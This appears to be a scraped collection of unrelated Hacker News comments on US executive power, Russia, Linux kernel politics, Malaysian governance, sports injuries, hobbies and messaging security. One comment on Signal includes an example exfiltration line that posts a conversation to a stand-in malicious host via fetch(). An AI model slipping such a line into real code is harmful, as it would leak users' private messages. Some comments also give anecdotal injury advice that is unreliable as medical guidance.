skysight-inc/HackerNews huggingface dataset:
> "these subordinates must still execute based on the President's interpretation, not their own".

Yes, this is a problem, because it would mean that if the President (for simplicity, the order also specified the AG, but it doesn't really change the issue) had an opinion on the law, and the courts issued an order to an executive officer such as a department head in a lawsuit contrary to that interpretation, the department head would remain bound by the Presidential interpretation until the President relented, since the meaning and effect of a court order is no less a matter of interpreting the law than the meaning and effect of a regulation, statute, or Constitutional provision.

Sec. 7 is so ridiculous on its face that, while I am sure the Administration seriously does want to impose as much of this control as it can get away with, I think it was largely included as a lightning rod to distract from the rest of the order moving control of all independent agencies internal spending allocations into OMB and the Executive Office of the President and otherwise purporting to transfer effective control of the functions assigned by law to the independent agencies to be exercised by their boards into the White House.
> Putin has approximately zero interest in territories and annexations.

Frankly, that's just horseshit.

He annexed Ukraine. He's taken territory in South Ossetia. His actions in Ukraine are a response to the lack of international community stopping him in his prior expansionist plays, and he will continue to push the boundary until he is stopped. Accepting Putin's claims about his motivations at face value is the height of naivety.
Then we are in agreement. And the quote you shared does not contradict the Wikipedia page about the party platform.
There's an excellent publicly released video made about an older test. It has some of the clearest footage of the actual reentries and impacts, and is also worth watching for the sheer 90s vibe of the production.

https://www.youtube.com/watch?v=PDL_pIPScSI
Or burning CPAP machines:
https://www.apneaboard.com/forums/Thread-ResMed-AirSense-10-...
Check if your provider offers time-of-use rates. We pay $0.07/Kwh to charge at night. Full charge is ~$5 or 10x less than a tank of gas. Never going back to ICE.
* decision anxiety - agree

* fear of writing original ideas, both natural language and code - agree

* the inability to measure things - who said this is something that is necessary at all stages? sometimes you just need it done. when you have 1000 people teams selling to enterprises, sure. If it is you and your buddies, no need to measure, necessarily.

* preference towards bias - Why? If it works, a good engineer won't go to the newest tech/framework. They will stay with their biased favorite.

* cognitive conservatism - Disagree. See previous comment

* inability to form assertion criteria - Not exactly sure what you mean, but if you mean to reason about code and state at various points, then I agree
A comment in Nature is oddly ignoring the risks: https://www.nature.com/articles/d41586-025-00503-7
I've been using Linux since 2005, and I've loved it in almost every circumstance. But the drama over the last couple of years surrounding Rust in the kernel has really soured me on it, and I'm now very pessimistic about its future. But I think beyond the emotional outbursts of various personalities, I don't think that the problem is which side is "right". Both sides have extremely valid points. I don't think the problem is actually solvable, because managing a 40M+ SLoC codebase is barely tenable in general, and super duper untenable for something that we rely on for security while running in ring 0.

My best hope is for replacement. I think we've finally hit the ceiling of where monolithic kernels can take us. The Linux kernel will continue to make extremely slow progress while it deals with internal politics fighting against an architecture that can only get bigger and less secure over time.

But what could be the replacement? There's a handful of fairly mature microkernels out there, each with extremely immature userspaces. There doesn't seem to be any concerted efforts behind any of them. I have a lot of hope for SeL4, but progress there seems to be slow mostly because the security model has poor ergonomics. I'd love to see some sort of breakout here.
To test their inherent thinking skills and base knowledge.

There's a huge difference between occasionally looking up something, and practically leaning on it. Ironically, the mass degradation of search engine result quality within the past ~decade has made it much harder for people to do the latter, and when they do, it shows much more clearly.
Yeah the only time I ever heard of us was when AWS support offered to connect on Chime. I opted for Teams as I didn't want to have to install yet another tool.
> regularly report to and testify before Congress

Delivering reports to is different than them being able to hire and fire. Presidents appoint fed chairmen.
> That would exclude every parliamentary democracy in Europe, so no.

There are variants (especially executive and legislative work more closely) but please list those where there is no constitutional or customary such a balance between executive, legislative and judiciary?

Thanks for suggesting I don’t know my classics, you seem not so certain about modern European democracies.
I hurt my back a couple of times over the years between squats and leg press. Each time I went to the doctor, they pushed chiropractor or the physical therapist. PT was useless the 3 injuries that I went for, and Chiropractor maybe helped once.

When I went and read a lot about muscle and back injuries, it sounded like the ubiquitous advice of heat, cold etc can still be used. BUT what really helps is to rest for a day or two to offset some of the bigger damage and then get back into the gym at very low weight and start over.

If you haven’t ripped something to the point of surgery, there is something about keeping active, keeping blood and nutrients flowing to the site that maximizes healing I guess. I was back to where I was squatting within 2 months and my form was better than ever with a lot of attention paid to my back.
Here's a better source https://apnews.com/article/ukraine-russia-trump-war-zelensky...
I wonder about the inline air fragrance systems used by pretty much every hotel these days to produce a "signature scent".
> They used to make a giant one which was kind of a cool idea, but they killed it.

They have a new(er) big one, the scribe
The store is happy to lose a dollar on the eggs to get you to stop there, it's not just about the production.
I'm a Chinese Malaysian, and I feel the need to highlight the other side of the coin—the risks multinational corporations (MNCs) face when setting up data centers in Malaysia.

Despite being elected on the promise of reform, the government's actual performance has been anything but. The press is still frequently suppressed; social media platforms are required to obtain a yearly license or risk being fined or shut down. There was even a time when the MCMC—the country’s communications regulatory body—forced all ISPs to route traffic through their DNS instead of allowing users to freely use Google or Cloudflare DNS, enabling government censorship.

On that last point, the MCMC backed down after massive public outcry, but the government's authoritarian tendencies remain palpable.

Speaking of authoritarianism, the current Prime Minister, Anwar Ibrahim, has proudly likened himself to Southeast Asia’s version of Erdogan. And indeed, he seems to be increasingly authoritarian just like Erdogan, curbing free speech while advancing an Islamist agenda. Under his leadership, the country is becoming increasingly intolerant, particularly as the majority Malay Muslims frequently target minorities—sometimes on a near-weekly basis. You might be surprised to learn that socks printed with the word "Allah" resulted in the store owner being charged and penalized in court. Meanwhile, ongoing debates about banning convenience stores from selling liquor in Muslim-majority areas never seem to die down. Non-Muslims remain uncertain about when they might inadvertently face repercussions for perceived "mistakes"—whether intentional or not.

Additionally, Anwar's staunch support for Hamas may not sit well with the current U.S. administration. Whether this will lead to investors pulling out, or somehow trigger the US sanction, remains to be seen.
Don't run the pihole on a rpi, a basic computer with a real disk controller will handle the job much better. I ran pihole on an rpi but it kept corrupting the filesystem on any power blip.

It isn't the pihole software's fault here.
I am having a hard time reconciling the claim in the post headline with common sense.

One frustrating aspect to the study is that it was hard to determine whether they are comparing like for like per unit time. They say the “operation of a gas stove” and “running a generator” — but for how long? It doesn’t seem like they tested each of these things under similar conditions in their lab but rather relied on other studies for that data. Figure 2(b) right does seem to measure this but they haven’t labeled the chart with clear labels and the description is a bit ambiguous.

After reading the study, I think the issue is that the claim it is making is slightly different than the one in the headline. They are measuring VOC and ~PM2.5 pollutants, but gas engines (and gas stoves presumably as well) produce other pollutants like CO, which is what kills you of you run a gas generator indoors.
Congress has all the enforcement power, they can impeach the president whenever they want. Will they? I don't know, he's already gone so far in constitutional overreach that he's making Nixon blush.

Judiciary has more power than you'd think too. It's just that they try to act in good faith and generally do not want to throw people into civil contempt that often. The SCOTUS can even re-re-interpret the presidential immunity that Trump has abused to a pulp if they are angry enough. That was their call after all.

Will they do this? Highly unlikely, at least for Trump. I wouldn't be surprised if Musk flies too close to the sun, however.
Obscura VPN – Privacy that's more than a promise
Interesting that emoji break it :)

Still fun
> the mAh of this phone's battery is a secret or something

It can easily be measured from the time required to fully charge the phone (when turned off), and continuously monitoring the power it draws from the charger.
How does that solve the “unelected bureaucrat” problem? You still need bureaucrats to run a civil service, the appointed positions in U.S. institutions are mostly just figureheads, they’re not handling the day-to-day work of keeping a bureaucracy functioning.

Unless you’re suggesting that every bureaucrat role should be an appointment, and part of X years elections, is having people with appointment powers turning up with a list of 300,000-3,000,000 people to fill every bureaucratic role, and somehow the general public are going to scrutinise that in some meaningful manner.

All of that is of course ignoring the problem that comes with throwing away all of your bureaucracies institutional knowledge every X number of years. Do you really want the issuance of driving licences, fishing licenses, gun licenses, international visas, customs enforcement, immigration enforcement, to all grind to a holt every 3-5 years while the new folks figure out how stuff works? You would basically end up with a bureaucracy that fundamentally couldn’t achieve anything, and silly things like the rule-of-law would simply cease to exist in the U.S.

Why would anyone want to trade with, invest in, or ally with, a country that effectively lobotomises its government every few years, and has zero continuity of governance at even the most basic day-to-day items of modern life?
> Medical insurance generally covers your own accidents/mistakes, because it's not like you're going out searching for them for fun.

I wonder if the guys from Jackass had trouble finding health insurance.
The distribution is fair - everything is round-robin, so in the long run each worker receives the same rate of tasks. It's just "lumpy" - sometimes you can get a big batch sent to one worker, then a big batch sent to another worker - but it will all average out.
Perhaps, but SEA is a very expensive place to run GPUs. High power costs, no free cooling.

Why wouldn't DeepSeek (or whoever) just export these to Northern China where power is cheap and the air is cold?
Literally "has bears."
The US Army looked into this long ago, in the mid 1960s, using an exceedingly exotic reactor concept called the Military Compact Reactor. They imagined having a mobile energy depot where the reactor would synthesize hydrocarbon fuel for the rest of the vehicles on the move. It was abandoned because it was about 10x more expensive than fossil fuel. Kinda fun though.
Log to tmpfs or ramdisk
Powers are enumerated in the constitution. So it’s not a question of what the constitution says they can’t do.

It would be strange if congress can designate untouchable officials. Why don’t they just grant themselves office for life?
https://www.mulesoft.com/platform/soa/mule-esb-open-source-e...

:)
Trump signs order declaring only president and AG can interpret US law
The unitary executive theory is hardly a maga invention.
Linters can't know if a case has been properly handled or not. Just because it logs something it may or may not be the proper semantic way to handle that error.
I loved "Run Yourself Ragged" as a kid, but had no idea there were richer iterations and reflections of the game itself.

My game still exists in a cabin but is currently missing its timer and metal balls.... Need to work on that!
I think you’re right… impeachment is the main mechanism by which they can complain that he’s not enforcing the law. I’m struggling to think of what else they can do.
also interested in a contact. I seem to have an option to take a MVV or digital nomad equivalent visa and keep my current job in Netherlands. That's looking like the plan at the moment. It would be good to talk to someone about relocations though - logistics seems daunting sometimes. Pets , essentials, etc.
FWIW, I have both an RM2 and a DC1 and the handwriting lag feels similar to me on both (and quite perceptible on the RM2). YMMV.
A med chemist can sit down with a known drug, and generate 50 analogs in LiveDesign in an afternoon. One of those analogs may have less CYP inhibition, or better blood brain barrier penetration, or slightly higher potency or something. Or maybe they use an enumeration method and generate 50k analogs in one afternoon.

But no one is going to bring it to market because it costs millions and millions to synthesize, get through PK, ADMET, mouse, rat and dog tox, clinicals, etc. And the FDA won't approve marginal drugs, they need to be significantly better than the SoC (with some exceptions).

Point is, coming up with new ideas is cheap, easy, and doesn't need help. Synthesizing and testing is expensive and difficult.
Compact eVinci nuclear reactor can power 4,500 homes for 8 years without water
It’s 2025 and not all “vegan leather” looks like the plasticky pleather of 3+ decades ago. $20 Amazon jackets? Yeah, that is gonna be disposable plastic junk. And the article describes this material as certainly not junky.
It’s likely selective factors being measured but on some metric the top engines produce outputs cleaner than air going in so I don’t think it’s all that improbable
Have you considered that your model of how things should work is missing something?
I'm still betting Trump does not survive his natural term.

(and I'm not even implying anything. He's turning 79 this year and clearly not in top mental nor physical health).
I smashed up my wrist in a bike crash, resting it didn't fix shit. When I lifted weights it would tweak out and hurt, so I avoided that for like a year.

Eventually I decided fuck this, and starting lifting weights even though it hurt, then I'd massage it which somehow reduced the pain. Repeat that, and very quickly the wrist fixed itself, zero issues now.

When I broke my collarbone years ago, the docs said just let it heal on its own, which it did just fine(I was hiking/running about 2 hours every day, maybe that helped).
Yeah, the daily tasks are pretty small. Just a few minutes a day. Scoop some food, change out the water, gather the eggs.

Every so often, you need to do bigger chores, like go buy fees or fix something in your setup. A couple times a year you need to do a deep clean of the coop (throw out all the straw, scrape any poo that's collected on the floor or wherever, put in clean straw). Sometimes a chicken dies, and that's not fun, but it is something you have dispose of properly.

Ultimately, though, it's a hobby. It should be fun or relaxing most of the time or else it's not worth it. Like gardening or running a home server. If you're trying to just save money, maybe you can save a tiny bit in this particular moment, but there are surely better ways to save a few bucks.
Here are some slides summarizing the shorter paper this is based on:

https://web.archive.org/web/20170809055122id_/https://learni...

tl;dr They did a qualitative survey of what other people think makes a great software engineer at Microsoft.

Their take aways:

- The ability to learn is more important than any individual technical skill

- Making good decisions is rarely discussed in the software engineering
literature, but it is critical to being a great software engineer

- Software engineering is a sociotechnical undertaking

- Delivering the code is often insufficient; complex contextual technical considerations abound.
Natural Gas Prices Surge As Arctic Blast Fuels Demand
- https://oilprice.com/Energy/Natural-Gas/Natural-Gas-Prices-S... - February 19th, 2025
the calculator I ran gave a similar ballpark for Netherlands : https://thetax.nl/?startFrom=Year&selectedYear=2025&older=fa...
https://m.youtube.com/watch?v=thHWvoYfNyo
Yeah, I saw the pass@7 figure as well, and I'm not sure what to make of it. On the one hand, solving nearly half of all tasks is impressive. On the other hand, a machine that might do something correctly if you give it 7 attempts isn't particularly enjoyable to use.
I fully support research like this, because it's always good to get proper data about phenomena. However, I can't help feeling that the results are unsurprising: how could you smell the scented candles if they weren't producing nanoparticles? Surely the existence or abundance of these nanoparticles was never in question?
I heard goldman sachs is scooping up federal talent and putting them on the bench to then rent them back out to 47 for 10x the price.
This was my first computer as well! (age 8?) And I too spent time in class drawing spaceships on graph paper, rather than listening to the teacher. I was certainly obsessed with BASIC programming. I didn't start assembly language until the Apple IIe a few years later.

I'm surprised now to see it was a 16-bit CPU -- I had no idea. I assumed 8-bit as most home computers were (6502, Z80, etc).

Two things I remember:

Saving and loading programs on cassette tapes (where are they? I'm jealous of another poster who still has their TI99/4a).

It was insanely easy to reboot it accidentally -- I had to look it up again but apparently it was by pressing Shift-Q [1]. I lost some work several times, until I got the muscle anti-memory.

[1] https://www.99er.net/994.html
I have a similar viewpoint; over a decade ago, I had a nuisance tendon issue and went to a specialist who recommended surgery.

The surgery had a risk of serious, life-long consequence if it went wrong. He said that if I can live with the tendon issue, we can delay surgery indefinitely... so we delayed.

A month later, I stopped doing a certain workout at the gym, which resolved the issue within days. No need for surgery at all.

I do think that some specialists can be so focused on their speciality (i.e. surgery) that they don't think outside of that paradigm (try a different workout at the gym), and it's up to the patient to effectively shop around to get the best advice.
Yes, if it keeps escalating. We're going to make bloody monday look like a kid scraped his knee. Depending on the escalation, we may even make the first Civil War look tame in comparison.

That's pretty much the fate of all dictators: a coup.
> In general, people are going to interpret this EO with their own lens.

IMO if you could look at this executive order in a blind test somehow not knowing who signed it and can ask yourself "would this be incredibly concerning even if it were passed by the political side I agree with?" and the answer is no then you're not looking through a lens, you are drinking kool-aid.
What utter nonsense! Of course his diehard followers will have no problems with this. I wonder about the more intelligent people who voted for him. Any regrets?
That's mostly because nobody cares enough to optimize it, but if you split code into modules so your number of classes, including dependencies, is smaller, then your tests will start quickly. Usually it's dependencies and DI that's the cause of this I think.

Aren't Go's compile times about the same as Java's? Of course it depends on what tooling you use to package the jars.
Sadly yet another phablet
Thanks— I’ll play around with that workflow.
Can it do native dns over http yet? Without hacky unbound proxy I mean.

That’s why I switched to affairs home but wouldn’t mind switching back
> Surely those phones didn’t sell so few that it’s not worth doing at all?

That is literally what happened.
Has anyone used Typst for academic conferences/journals?

To me it’s sorta like CSS where the availability of templates is more important than the core language (at least for people lacking design abilities).
Depends on the reason
> Sometimes it all feels pointless

Building anything that's meant to be properly secure - secure enough that you worry about the distinction between E2E encryption and client-server encryption - on top of iOS and Google Play Services is IMO pretty pointless yes. People who care about their security to that extent will put in the effort to use something other than an iPhone. (The way that Signal promoters call people who use cryptosystems they don't like LARPers is classic projection; there's no real threat model for which Signal actually makes sense, except maybe if you work for the US government).

> I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

There's definitely a streetlight effect where academic cryptography researchers focus on the mathematical algorithms. Nowadays the circle of what you can get funding to do security research on is a little wider (toy models of the end to end messaging protocol, essentially) but still not enough to encompass the full human-to-human part that actually matters.
Well, I think we can save a good chunk of money by getting rid of the Supreme Court.
Ah, okay, I think somehow you parsed my very terse comment to mean something about (top) management's request, but I wanted to illustrate that a (line = engineering) manager knows roughly how their team(s) would react to these requests, and knows which battles to pick and with which side(s).

Like you said, if there's something crazy coming down from up? maybe it's umbrella time. If there's a company- or industry-wide shift and someone in a team is not having it? Maybe it's time for some fluctuation. And so on.

I'm trying to say that most things are "obvious" (well, yeah, either so obvious that I wasn't even able to describe it by the examples, or "so obvious" that it takes 4 pages of back-and-forth to clarify it :D)

My comment was a reaction to your recommendation of Columbo style. "How am I going to find out if most people on the team think this way" ... and my very "zen" (and unhelpful?) answer was that "it should be obvious", uh, sorry :)